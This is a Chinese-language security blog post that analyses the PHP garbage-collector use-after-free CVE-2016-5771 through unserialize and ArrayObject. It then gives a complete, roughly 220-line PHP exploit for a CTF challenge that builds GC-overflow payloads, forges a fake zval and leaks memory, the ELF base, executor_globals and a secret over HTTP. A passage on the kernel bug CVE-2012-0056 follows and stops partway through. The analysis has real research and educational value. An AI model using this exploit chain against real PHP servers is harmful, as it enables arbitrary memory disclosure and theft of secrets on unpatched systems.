拥抱php之CVE-2016-5771

PHP的gc机制:

  1. 为什么要有gc?

php是一个脚本语言,弱变量类型的语言,用户不用考虑变量内存的分配。一切都由php的vm提供,在<5.3一下的时候,php使用的是引用计数来实现的gc,但是没办法解决自身的引用如下:

1
2
$a = array(0=>$&a);
unset($a);
5.3以后引入了新的gc方法,标记法。这里有一个值得注意的是php5和7关于引用计数方式有点不太一样,php7保存在zval_value中,php5在分配zval的时候,实际上是_zval_gc_info结构,引用计数也保存在zval结构下。
1
2
3
4
5
6
7
typedef struct _zval_gc_info {
zval z;
union {
gc_root_buffer *buffered;
struct _zval_gc_info *next;
} u;
} zval_gc_info;
2. gc的面对是谁?

这个问题开始确实迷惑我了,以为所有变量都会参与到gc的cycle里面,只有array 和 object 的引用计数在减少的时候才有可能加入gc的root-buffer里面。

  1. gc的root-buffer什么时候会增加? 即什么才算是疑似垃圾的变量?

一个zval可能被引用很多次,如果某个时刻它的ref等于0的时候,这个时候才会去考虑真正的去释放掉这块内存,那么疑似垃圾怎么来定义呢?看下面释放zval的过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
static zend_always_inline void i_zval_ptr_dtor(zval *zval_ptr ZEND_FILE_LINE_DC TSRMLS_DC)
{
if (!Z_DELREF_P(zval_ptr)) {
ZEND_ASSERT(zval_ptr != &EG(uninitialized_zval));
GC_REMOVE_ZVAL_FROM_BUFFER(zval_ptr);
zval_dtor(zval_ptr);
efree_rel(zval_ptr);
} else {
if (Z_REFCOUNT_P(zval_ptr) == 1) {
Z_UNSET_ISREF_P(zval_ptr);
}

GC_ZVAL_CHECK_POSSIBLE_ROOT(zval_ptr);
}
}

这是一个分支结构,首先会ref--,如果说引用计数为0,那么就真的去释放掉这个zval,并且如果这个zval存在与gc的root-buffer里面话,也会把这个zval从root-buffer删掉,root-buffer是个双链表结构,每次都从gc_globals->roots插入,也相当于一个FILO的结构。

再看另外一个分支,即ref--后,引用计数不为零,这个时候会去判断是不是possible_root可能根, 实际上就是把这个zval考虑加入root-buffer,同时标紫,这个就得将细节标色法了,后面再说。root名根,即一个zval变量在root-buffer只能存在一个,这个也是用标记法来判断的,只有黑色的时候才能考虑去标紫。

这个时候比较清楚了,即变量引用计数减少时,且减少之后不为0,zval的变量类型为array或者为object的时候。

上面三个问题应该是在了解gc过程中比较常见的问题。具体来看CVE-2016-5771

1
2
3
4
5
6
7
<?php
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = "bbbb";
var_dump($outer_array);

在理解整个漏洞形成过程中其实不太容易的,如果你对gc和serialize的过程不太理解的话。很显然从输出结果来看这是一个UAF,$outer_array被意外的释放掉了。那么反过来想,结合gc,又不是反序列的问题,那么肯定是在处理gc的时候$outer_array引用计数肯定被减少为0,被当成垃圾释放掉了。还必须得深入到gc_collect_cycles里面去看才行。

这个$outer_array的结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
array(1) { //外层数组
[1]=>
object(ArrayObject)#1 (1) {
["storage":"ArrayObject":private]=>
&array(2) { //内层数组
[1]=>
*RECURSION* //对内层数组的引用
[2]=>
*RECURSION* //对外层数组的引用
}
}
}
这种情况只能动态调呗,先下个断在gc_collect_cycles,看一下此时gc_root_buffer的可能垃圾根
1
2
3
4
5
6
7
[0x7ffff7bb37b0] (refcount=2) array(1): {
1 => [0x7ffff7bb6188] (refcount=1) object(ArrayObject) #1
}
[0x7ffff7bb4dd0] (refcount=2,is_ref) array(2): {
1 => [0x7ffff7bb4dd0] (refcount=2,is_ref) array(2):
2 => [0x7ffff7bb37b0] (refcount=2) array(1):
}
一切都是正常的第一个外部数组,第二个内部数组。再去细看处理过程,这里其实可以直接定位到gc是如何标记ArrayObject内部子zval的。关注为什么外层数组自身只有一次的引用,却减少两次ref

首先看是如何获得ArrayObject内部子元素的

1
2
3
4
5
6
if (EXPECTED(EG(objects_store).object_buckets[Z_OBJ_HANDLE_P(pz)].valid &&
(get_gc = Z_OBJ_HANDLER_P(pz, get_gc)) != NULL)) {
int i, n;
zval **table;
HashTable *props = get_gc(pz, &table, &n TSRMLS_CC);

这个get_gc是一个用来获取ArrayObject内部的属性的HashTable的handler,看看get_gc是如何工作的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
/*
#0 spl_array_get_properties (object=0x7ffff7bb6028) at /root/php-src/ext/spl/spl_array.c:796
#1 0x00005555558609b2 in zend_std_get_gc (object=0x7ffff7bb6028, table=0x7fffffffa608, n=0x7fffffffa614) at /root/php-src/Zend/zend_object_handlers.c:121
*/

static HashTable *spl_array_get_properties(zval *object TSRMLS_DC) /* {{{ */
{
...
result = spl_array_get_hash_table(intern, 1 TSRMLS_CC);
intern->nApplyCount--;
return result;
}

static inline HashTable *spl_array_get_hash_table(spl_array_object* intern, int check_std_props TSRMLS_DC) { /* {{{ */
...
} else {
return HASH_OF(intern->array);
}
} /* }}} */
这个intern->array就是我们的内层数组,那么其实返回就是这个array。这就变的有趣了,往下看如果返回是内层数组的话,(在php里面array就是HashTable),回到我们的标灰函数中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
...
p = props->pListHead;
...
while (p != NULL) {
pz = *(zval**)p->pData;
if (Z_TYPE_P(pz) != IS_ARRAY || Z_ARRVAL_P(pz) != &EG(symbol_table)) {
pz->refcount__gc--;
}
if (p->pListNext == NULL) {
goto tail_call;
} else {
zval_mark_grey(pz TSRMLS_CC);
}
p = p->pListNext;
}
}

按照常理来说取对象里面的属性,也应该是一个HashTable,属性名为key,值为value。但是这里出现了歧义,这个内层数组按道理来说只能算一个属性值,但是这里的逻辑,他把内层数组当成了所以属性值的HashTable,这里产生了歧义,这里为什么造成了外层数组的引用计数递减了两次,真正原因在于被当成对象所有属性值HashTable的内层array没有开始标灰,就开始处理内部的元素了,这也导致了两次gc两次遍历内层数组,最后造成外层数组引用递减两次。再看poc
1
2
3

$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
------exchange----
这里值得注意的是,为什么需要构造成这样?如果说我们标横线的地方对两个数组的引用交换行不行?如下
1
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:1;i:2;r:4;};m:a:0:{}}}';
从结果上看是不可以的,外层ref被递减成了-1,难道gc让其递减了3次呢?题外话,这里是个技巧,其实在尝试去改poc,会让自己更快的理解整个漏洞。如果你也思考到这里的话,其实很简单,在标灰之前下个断。dumpgc一下
1
2
3
4
5
6
7
8
GC buffer content:
[0x7ffff7bb4c70] (refcount=2) array(2): {
1 => [0x7ffff7bb3650] (refcount=1) array(1):
2 => [0x7ffff7bb4c70] (refcount=2) array(2):
}
[0x7ffff7bb3650] (refcount=1) array(1): {
1 => [0x7ffff7bb6028] (refcount=2) object(ArrayObject) #1
}
可以看到其实并没有递减三次,开始的时候ref只为1,这很有意思, 这就涉及到php变量赋值的问题上,php5引用赋值,是有split过程的,具体在这里不阐述。如果你把R换成r,又发现其实是可以的,但是内存释放顺序上和前面又是不一样的,这提醒我们不仅需要关注gc,麻烦还在于unserialize上,为什么这些zval会出现在gc_root_buff里面那么肯定是在序列化的过程中引用计数发送了变化,如果你能很早的关注到这个问题,那么后面一些问题也能很好理解,序列化过程中会在一个var_hash的结构中保存生成zval的引用,为了后面的r或者R来支持引用,当然在后面的var_destory也需要释放掉这些引用,这就意味在反序列化过程中每个zval的ref的大小要比正常情况下要大一些。

综上,这个cve的精髓总结一下,如果用ArrayObject包含目标zval的引用,在精心的构造上,是可以造成二次递减的。我从一个最简单的应用,具体开始本文的分析。

1
2
3
4
5
6
array{ //1	
0 =>ArrayObject{
&$1
}
1 => &$1
}
如果标灰从上述开始。你猜能递减几次? 为什么呢?
1
2
3
4
5
6
7
8
9
=>array_$1 #grey
=> ArrayObject_ref-1 #grey }
=> $1 }
=>ArrayObject_ref-1 } =====> ArrayObject_dec
=>ret }
=>$1_ref-1 }
=>ret }
=>$1_ref-1
=>ret
这个是从我脑子里画下来gc标灰的递归过程。按照深度遍历的顺序,可以印证一下,你发现这里ArrayObject却递减了两次,而外层数组正常递减。这里一个有意思的东西是,你发现ArrayObject里面的array可以是一个引用,这在后面非常重要,这也是这个例子要引进的最重要的东西。这里我们还需要主要到一个问题,当我们的目标zval递减为0之后,是否会被立即释放呢?答案是不一定。如果目标zval处于某个ref不为0的zval内部,而且这个zval也被gc处理过,那么在标灰紧接着的第二步,标白的过程中会恢复这个ref不为0的zval,意味着内部的子节点引用计数都会被恢复。显然ArrayObject包含着我们目标zval的引用,所以我们必须考虑这个情况。

再就上面这个例子我们再继续研究。现在针对上面例子做一个改进:

  1. 让外层array_ref递减为0
  2. 保证ArrayObject也为0。(这一步就是上面提到的包含关系)

先做第一个改进,让array_ref递减为0,上面例子可能你看不出来什么,如果我们再加一个array的引用如下:

1
2
3
4
5
6
7
array{ //1	
0 =>ArrayObject{
&$1
}
1 => &$1
2 => &$1
}
那么这个时候的递减过程就变成这样了:
1
2
3
4
5
6
7
8
9
10
11
12
=>array_$1 #grey
=> ArrayObject_ref-1 #grey }
=> $1 }
=>ArrayObject_ref-1 } =====> ArrayObject_dec
=>ret }
=>$1_ref-1 }
=>ret }
=>$1_ref-1 }
=>ret }
=>$1_ref-1
=>ret
=>$1_ref-1
看出来了吗?这个ArrayObject_dec结构多减了一次外层数组的引用,相当于增加了一个array的引用,递减了两次。此时外层数组的引用已经被递减成0了,相当于完成我们的第一个目标。现在去着手第二个目标,让ArrayObject的引用也变0,此时的ArrayObject递减了2次,所以此刻它的ref应该为-1,似乎在目前看来我们无法做到让它变成0.因为你单纯加ArrayObjec的引用只会减的更多。由此下面进入另个一个思考过程:)

从前面的poc来看,必须得触发gc才行,前面是通过gc_collect_cycles()来触发的,如果你想要远程触发这个漏洞的话,你可能做不到调用这个函数,最多就只是一个unserialize()在等着你。非手工的触发gc,gc的默认机制是当存储的垃圾可能根达到阀值以后触发,这个默认值一般是10000。

有没有办法通过unserialize()来制造垃圾的可能根呢?那是肯定的,你不用去细想就会有一处,就是在最后unserialize()结束的时候使用var_destory()来删除unserialize()过程中产生多余的zval引用的时候。几乎每一个创建zval都会涉及到,这样来说只要创建够多的zval,那么在这一步就会触发gc。

但是这其中是有问题的,仔细想的话,会产生一个矛盾的现象。

  • 考虑ArrayObject的ref如何变成0? 我需要调整ArrayObject的ref,新增的ArrayObject引用肯定不能再放在目标array里面,这样只会减的更多的,那需要放在目标数组的外面,这样就能单纯的增加ArrayObject的引用,用来调整前面多的递减。

    问题来了,把ArrayObject放目标数组外面,外面怎么理解呢? 相当于有分支结构了。那么目标数组肯定又是某个zval的子节点了,如果是某个zval的子节点,那么在var_destory处理过程中处理目标数组的引用之前,肯定已经处理过这个zval的引用了。又回到了原来之前的问题下,如果目标数组在某个ref不为0的zval下,目标array的ref是会被恢复的。又开始循环了,我们得跳出这个圈子。

细细想来出现上面的问题的原因在于,目标array的父节点被当做垃圾可能根,这就导致在gc的时候目标array_ref间接被恢复。通过var_destory来触发gc的时间对于现在的情况来说太晚了,能不能更早一点,单纯的只把我们的目标array放到gc的root_buffer里面呢?

那么在var_destory之前有没有办法去减少某个zval的引用呢,来填充gc的root_buffer?答案是肯定有,unserialize过程是允许下面的写法的:

1
2
$a = "a:3:{i:0;a:0:{}i:0;a:0:{}i:0;a:0:{}}";
unseralize($a);

在创建array的时候,会先拿到key,通过key去array所在的HashTable中找对应的bucket,所以这里是存在相同key值的bucket的update过程,这一步会减少旧的bucket里面zval的引用。如果目标数组index和垃圾值的index一样,只要垃圾值够多,就能触发gc,并且直接把目标array放到了gc_root_buffer里面。那么gc的root-buffer里面只会存在目标数组zval和垃圾值的zval和其他一些无关紧要的zval,这样的情况就是我们的理想情况。

现在找到了合理的触发gc的方式,但是我们的ArrayObject_ref目前为止还是没有为0,现在情况变了,前面是发生在unserialize之后,现在是处于的unserialize的过程里面,如果现在增加一个ArrayObject的引用相当于增加2个,即ref+2,因为var_hash里面会保存一个ArrayObject的引用。

增加一个ArrayObject的引用 ref+2,但目前来看我们的例子里面ArrayObject只多递减了一次,我们必须得考虑这两者之间的数量级关系。

现在再来看我们的例子,需要略微改变一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
array{
0=>array{ //2 $2_ref=8
0 =>ArrayObject{ //$3_ref=2 |
&$2 | =====>ArrayObject_dec
} |
1 => &$2
2 => &$2
},
0=>array{},
0=>array{},
0=>array{},
... //garbage
}
现在的情况要比之前的复杂,其中各个zval的引用都翻倍了。如果断在var_destory前面,你可以看见此刻的ref实际上是多少,如上。

这时候如果再通过gc标灰,ArrayObject_ref能递减成0,而目标数组$2却只能递减4次,这远远不够,如果这个时候还是像前面的单纯增加目标数组的引用显然已经不行了,现在加一个$2, ref直接+2,2增1减,效果不理想。

我们还是得增加$2的引用,但是得让它递减的更多。如果我再加一个新的ArrayObject_dec的结构呢?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
array{
0=>array{ //2 $2_ref=8
0 =>ArrayObject{ //$3_ref=2 |
&$2 | =====>ArrayObject_dec
} |
1 => &$2,
2 => &$2,
3 =>ArrayObject{ // |
&$2 | =====>ArrayObject_dec
} |
},
0=>array{},
0=>array{},
0=>array{},
... //garbage
}
看起来递减的效果要比单纯增加$2的引用要好。2增2减,现在刚好持平了。现在我们可以列个表达式,来算一算需要多少个ArrayObject_dec 和 $2, 分别设为x ,y :
1
2
3
4
5
6
7
ref_1  =  (x+y+1)*2 //目标数组总引用数
ref_2 = 2 //单个ArrayObject的引用数
dec_1 = (x+1)y //目标数组递减的引用数
dec_2 = (x+1) //单个ArrayObject的引用递减数

2 - (x+1) == 2n //ArrayObject引用递减以后必须为负偶数
(x+1)y == (x+y+1)*2 //目标数组引用递减为0
数量关系如上所示: 当x = 1 ; ... 不成立 当x = 3 ; y = 4;

我就不往下算了,下面还有很多适合的条件。这里取需要3个ArrayObject_dec 和 4个$2。如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
array{
0=>array{ //2
1 =>ArrayObject{ //3 |
&$2 | =====>ArrayObject_dec
} |
2 =>ArrayObject{ //7 |
&$2 | =====>ArrayObject_dec
} |
3 =>ArrayObject{ //11 |
&$2 | =====>ArrayObject_dec
} |
4 => &$2,
5 => &$2,
6 => &$2,
7 => &$2,
},
1=>array{ //inc ArrayObject_ref
0 => &$3,
1 => &$7,
2 => &$11,
},
0=>array{},
0=>array{},
0=>array{},
... //garbage
}

此时ArrayObject_ref会被递减成-2,这里需要在后面增加ArrayObject的引用使其正好为0,现在这个情况下目标数组可以被完美释放。如果你不确定的话,可以在gc_collect_cycles下个断,调一下看看目标array是否被加入了gc的freelist。接着我们需要去思考被释放的目标数组,会被如何重用。

php的内存管理和linux的slub有那么一点相似,但你只需要知道相同的size的chunk和malloc的fastbin一样是FIFO链表结构。

那么在这里释放顺序对于我们来说是比较重要的,再谈GC,gc标灰以后,再把ref不为0的zval全部恢复,这其中就包括子zval也会被恢复,再将ref=0的节点标白,最后再次变量收集白色节点,放到free_list,free_list也是个FIFO结构。

放进free_list按照遍历的顺序,最先的应该是目标数组,再接着3个ArrayObject。接着依次释放free_list中zval的内部元素,最后再释放zval。那么目标数组的zval则是最后释放的。

我们就先把眼光局限在这4块sizeof(zval_gc_info)的chunk上即size为32的chunk上,在php里面说chunk似乎不太准确,mmap分配的才叫chunk,这里我们干脆称它们为obj。

这个时候释放以后,你可以在_emalloc()下个断,可以很方便的跟踪4个obj被释放以后的去向,如果填充的垃圾数目够多,那么重新申请的过程应该如下:

1
2
i:0; a:0:{} i:0; a:0:{}
obj obj obj obj
是个4obj会按照FIFO的顺序,依次分配给这四个zval,a:0:{}好理解空数组,i:0表示的是数组里面key值,也是一个类型为long的zval。如果我们在目标数组以外再使用这4obj的引用即目标数组和ArrayObject的引用,就能得到不一样的zval引用,地址指向相同,内容发生了变化。

那么如何去利用这个过程呢?最好的情况是我们能伪造zval,如果伪造一个string类型的zval,那么我们就可以leak任意地址的数据,如何伪造假的string类型的zval呢?

1
i:999;s:4:"aaaa";
看上面这种情况,第一个表示key的zval,第二个是一个string类型的zval,到这里面已经分配出去2个obj了,当使用string的zval用来存储字符串,会根据字符串的大小去申请内存,我们可以控制字符串的长度,那么我们就可以申请到这第三个obj,再通过这第三个obj弄一个fake_zval。我们看一下zval的结构:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
struct _zval_struct{
zvalue_value value;
zend_uint refcount__gc;
zend_uchar type;
zend_uchar is_ref__gc;
}

union _zvalue_value{
long lval;
double dval;
struct {
char *val;
int len;
} str;
HashTable *ht;
zend_object_value obj;
zend_ast *ast;
}
zval的结构大小为24,这里指的是x64的情况下,zvalue的结构也列出来了。所以这里我们是完全能控制一个zval结构的。细节的地方就是注意对齐。虽然这个地方我们能通过修改str.valstr.lenleak任意地址。但是问题是去哪里读?至少我们得知道php的elf地址吧!

对于这个问题都有比较通用的方法就是在堆上找残留text节或者data节或者bss节上的指针。这个时候需要变换一下思路。得让_efree()给我们设置fake_string_zval上的str.val.

按照上面的思路,我们得让我们的fake_string_zval二次释放。这个时候我想到了一个东西,array的index除了可以数字以外,还可以用字符串。而且在unserialize()处理array中是会把index值放在一个zval里面的,同时后面var_destory()会将其释放。

这个时候我们的fake_string_zval的str.val就变成了堆上一地址。通过调整str.len遍历堆上的内容,堆上肯定有Hashtable的结构,这过程生成很多array和object,他们都包含有HashTable的结构,有HashTable结构代表什么呢?HashTable里面有一个pDestructor的函数指针通常是指向_zval_ptr_dtor用来释放zval的函数。

这样就能拿到一个php二进制里面的地址,下面leak elf和符号表这里不再叙述,就这个地方我出了一道题,如下:

1
2
$flag="lalalalllalala";
echo(unserialize(base64_decode($_POST['az'])));
这道题就是这么简单,如果你了解前面整个流程,这道题其实很简单。这里你需要做的就是leak这个\(flag变量,那么你得知道它放在哪?你需要大概了解一下php的vm是怎么运转的。整体上VM可以分配编译器和执行器,编译器的功能就是把php代码转换成opcode_array,执行器的功能就是去执行每一条opcode,上面的\)flag相当于赋值是一个常量,关于常量是直接储存在zend_op_array->literals,这是一个结构体数组指针,我们只需要去遍历它就可以找到flag。

接下来问题就是怎么找到opcode_array这个结构,执行器的执行单元就是opcode_array,所以是可能存在多个opcode_array,用户的自定义函数调用就涉及到多个opcode_array的切换,显然本题没有用户自定义的函数调用,相应于变量域的切换,所以只有一个opcode_array结构,执行器的相关结构都存储在executor_globals这个全局变量上。executor_globals->active_op_array保存着当前正在执行的opcode_array。有了opcode_array根据前面的流程你就能找到flag。

关于executor_globals符号地址获取,具体看exp是比较常规的leak方法。本文主要重点在阐述 CVE-2016-5771利用,题目的讲解是其次,也看的出来了解该cve的利用以后,其实题目是非常非常的简单。该cve从原理上来说,是有一些难度,我每次看它也会有不一样的体会。但是我想难度更大的是在作者是怎样发现它?这是我最为感兴趣的。

上述题目exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
/**/
/*./buildconf --force && ./configure --prefix=/root/php-5.6.20 --disable-all --with-apxs2=/usr/bin/apxs && make && make install */
<?php
/*uaf*/
define("GC_ROOT_BUFFER_MAX_ENTRIES", 10000);
define("NUM_TRIGGER_GC_ELEMENTS", GC_ROOT_BUFFER_MAX_ENTRIES+5);


function gadget_leak(){

$fake_zval_string = pack("Q", 0x555555554000).pack("Q", 128).str_repeat("\x06", 8);
$encoded_string = str_replace("%", "\\", urlencode($fake_zval_string));
$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';

$overflow_gc_buffer = '';
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;O:8:"stdClass":0:{}';

$overflow_gc_buffer .=$fake_zval_string.$fake_zval_string;
}

$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';

$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';

$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';
$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';

$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';

$stabilize_fake_zval_string = 'i:0;i:4;i:1;i:4;i:2;i:4;i:3;i:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:4;}';

return base64_encode($payload);

}


function gadget_read($address,$len){

$fake_zval_string = pack("Q", $address).pack("Q", $len).str_repeat("\x06", 8);
$encoded_string = str_replace("%", "\\", rawurlencode($fake_zval_string));
$fake_zval_string = 'S:'.strlen($fake_zval_string).':"'.$encoded_string.'";';

$overflow_gc_buffer = '';
for($i = 0; $i < NUM_TRIGGER_GC_ELEMENTS; $i++) {
$overflow_gc_buffer .= 'i:0;a:0:{}';
$overflow_gc_buffer .= 'i:'.$i.';'.$fake_zval_string;
}
$decrementor_object = 'C:11:"ArrayObject":19:{x:i:0;r:3;;m:a:0:{}}';
$target_references = 'i:0;r:3;i:1;r:3;i:2;r:3;i:3;r:3;';
$free_me = 'a:7:{i:9;'.$decrementor_object.'i:99;'.$decrementor_object.'i:999;'.$decrementor_object.$target_references.'}';

$adjust_rcs = 'i:99999;a:3:{i:0;r:4;i:1;r:8;i:2;r:12;}';

$trigger_gc = 'i:0;a:'.(2 + NUM_TRIGGER_GC_ELEMENTS*2).':{i:0;'.$free_me.$adjust_rcs.$overflow_gc_buffer.'}';

$stabilize_fake_zval_string = 'i:0;r:4;i:1;r:4;i:2;r:4;i:3;r:4;';
$payload = 'a:6:{'.$trigger_gc.$stabilize_fake_zval_string.'i:4;r:8;}';

$rep = send(base64_encode($payload));
$decode = unserialize(base64_decode($rep));
return $decode[4];

}

function gadget_leak_elf_base($midaddr){

$addrdec = hexdec($midaddr) & (~0xfff);
$i = 0;
while(1){

$str = gadget_read($addrdec,4);
if($str == "\x7fELF"){

echo "[*]:leak libphp.so elf base:";
var_dump(dechex($addrdec));
return $addrdec;
}
//$i++;
$addrdec = $addrdec -0x1000;

}
}


function send($payload){

$opt['http'] = array(
'timeout'=>60,
'method' => 'POST',
'header' => 'Content-type:application/x-www-form-urlencoded',
'content' => 'az='.$payload,
);

$url = "http://127.0.0.1/uaf.php";
$context = stream_context_create($opt);
$res = file_get_contents($url,false,$context);

return $res;
}


function gadget_get_dynamic($pht,$phz){

while (1) {
echo dechex($pht)."\n";

$str= gadget_read($pht,4);

$type = unpack("Vtype",$str)["type"];

if($type == 2){
echo "[*] Phr of dynamic : ";
var_dump(dechex($pht));
return $pht;
}

$pht = $pht+$phz;
}


}

function gadget_get_executor_global($phr,$elf_base){

$str = gadget_read($phr+0x10,8);
$dyn = $elf_base+unpack("Qoffset", $str)["offset"];
echo "[*] dynamic address :";
var_dump(dechex($dyn));
$flag = 0;
while(1){

$str = gadget_read($dyn,0x10);
//echo rawurlencode($str)."\n";
$type = unpack("Qtype",$str)["type"];
if($type == 5){
$offset = gadget_read($dyn+0x8,0x8);
//echo rawurlencode($offset);
$strtab = unpack("Qoffset",$offset)["offset"];
$flag++;
}else if($type == 6){

$offset = gadget_read($dyn+0x8,0x8);
//echo rawurlencode($offset);
$symtab = unpack("Qoffset",$offset)["offset"];
$flag++;
}

if($flag == 2){

break;
}

$dyn = $dyn+0x10;
}

echo "[*] symtab address : ";
var_dump(dechex($symtab));
echo "[*] strtab address : ";
var_dump(dechex($strtab));
//executor_globals\x00
while(1){

$offset = gadget_read($symtab,4);
$str_offset = $strtab + unpack("Voffset",$offset)["offset"];
$str = gadget_read($str_offset,17);
var_dump($str);
if($str == "executor_globals\x00"){

$ex_addr_offset = gadget_read($symtab+0x8,8);
$ex_addr = unpack("Qoffset",$ex_addr_offset)["offset"];
break;
}

$symtab = $symtab+0x18;
}
echo "[*] executor_globals addr : ";
var_dump(dechex($ex_addr));
return $ex_addr+$elf_base;
}

$leak = gadget_leak();

$rep = send($leak);

$decode = unserialize(base64_decode($rep));

$zval_ptr_dtor_addr = dechex(unpack("Qaddress", (substr($decode[4],120,8)))["address"]);

echo "[*]leak zval_ptr_dtor_addr:";

var_dump($zval_ptr_dtor_addr);

$elf_base = gadget_leak_elf_base($zval_ptr_dtor_addr);


$str = gadget_read($elf_base,100);
$pht = unpack("Qoffset", substr($str,0x20,8))["offset"];
$phz = unpack("voffset", substr($str,0x36,8))["offset"];
echo "[*] PHT : ";
var_dump($pht);
echo "[*] PHZ : ";
var_dump($phz);
$phr_dyn = gadget_get_dynamic($pht+$elf_base,$phz);

$executor_globals_addr = gadget_get_executor_global($phr_dyn,$elf_base);
//[*] executor_globals addr : string(6) "4d8d60"


$active_opcode_addr = unpack("Qaddress",gadget_read($executor_globals_addr+0x210,8))["address"];

$literals_addr = unpack("Qaddress",gadget_read($active_opcode_addr+0xb8,8))["address"];

$zval_strptr = unpack("Qaddress",gadget_read($literals_addr,8))["address"];

$flag = gadget_read($zval_strptr,50);

echo $flag;
?>

CVE-2012-0056 分析笔记

1.漏洞概况:

漏洞距今已经7年多了。我为什么会再次选择这个漏洞来看一看呢?因为CVE-2019-9213的出现,这个CVE涉及到对/proc/self/mem的写,而/proc/$pid/mem这个pseudo-file在设计之初设定是readonly,就是说只能读不能写。

而发生CVE-2012-0056的时候,就是刚好linux官方删除对/proc/$pid/mem可写限制commit的时候,commit: 198214a7ee50375fa71a65e518341980cfd4b2f0,漏洞成因就出现在关于对/proc/$pid/mem的写过程中的检查上,很巧妙了绕过了其中2个检查。

2.具体成因:

在linux中一切皆文件,对/proc/$pid/mem读写也不例外,首先需要关注是/memfile_operations结构,在fs/proc/base.c下。

1
2
3
4
5
6
static const struct file_operations proc_mem_operations = {
.llseek = mem_lseek,
.read = mem_read,
.write = mem_write,
.open = mem_open,
};
首先来看第一步mem_open
1
2
3
4
5
6
7
static int mem_open(struct inode* inode, struct file* file)
{
file->private_data = (void*)((long)current->self_exec_id);
/* OK to pass negative loff_t, we can catch out-of-range */
file->f_mode |= FMODE_UNSIGNED_OFFSET;
return 0;
}
open操作很简洁,值得注意是保存了打开文件进程的self_exec_id,这个进程属性,在整个系统中引用的地方并不多,发生改变的地方,有以下几处:
1
2
3
4
5
6
7
8
9
10
void setup_new_exec(struct linux_binprm * bprm)
{
....

current->self_exec_id++;

flush_signal_handlers(current, 0);
flush_old_files(current->files);
}
EXPORT_SYMBOL(setup_new_exec);
这处是exec执行新二进制程序的时候,self_exec_id会发生自增。还有一处是发生在fork进程的时候,子进程会保留父进程的self_exec_idself_exec_id初始化的过程有些不同。

再接着看第二步,mem_write过程,我们重点关注其中的check点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
static ssize_t mem_write(struct file * file, const char __user *buf,
size_t count, loff_t *ppos)
{
int copied;
char *page;
struct task_struct *task = get_proc_task(file->f_path.dentry->d_inode); //#1
unsigned long dst = *ppos;
struct mm_struct *mm;

copied = -ESRCH;
if (!task)
goto out_no_task;
...
mm = check_mem_permission(task);//#2
copied = PTR_ERR(mm);
if (IS_ERR(mm))
goto out_free;
...
copied = -EIO;
if (file->private_data != (void *)((long)current->self_exec_id))//#3
goto out_mm;

out_mm:
mmput(mm);
out_free:
free_page((unsigned long) page);
out_task:
put_task_struct(task);
out_no_task:
return copied;
}
代码中标注了三个点,首先看第一个点,获取task的过程:
1
2
3
4
5
6
7
8
9
10
struct task_struct *get_pid_task(struct pid *pid, enum pid_type type)
{
struct task_struct *result;
rcu_read_lock();
result = pid_task(pid, type);
if (result)
get_task_struct(result);
rcu_read_unlock();
return result;
}
task的获取过程和被写的进程pid是紧密联系在一起的,无关是谁最先打开了file。接着再看第一个check check_mem_permission:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
static struct mm_struct *__check_mem_permission(struct task_struct *task)
{
struct mm_struct *mm;

mm = get_task_mm(task);
if (!mm)
return ERR_PTR(-EINVAL);

/*
* A task can always look at itself, in case it chooses
* to use system calls instead of load instructions.
*/
if (task == current)
return mm;

if (task_is_stopped_or_traced(task)) {
int match;
rcu_read_lock();
match = (ptrace_parent(task) == current);
rcu_read_unlock();
if (match && ptrace_may_access(task, PTRACE_MODE_ATTACH))
return mm;
}
mmput(mm);
return ERR_PTR(-EPERM);
}
这里存在两个条件第一个条件是被写的进程和发起写的进程是同一个进程,就是说一个进程是可以直接写/proc/self/mem的。第二个条件是相当于写其他经常进程之前要被ptrace挂起。这个check看起来还是比较苛刻的。继续看第二个check:
1
2
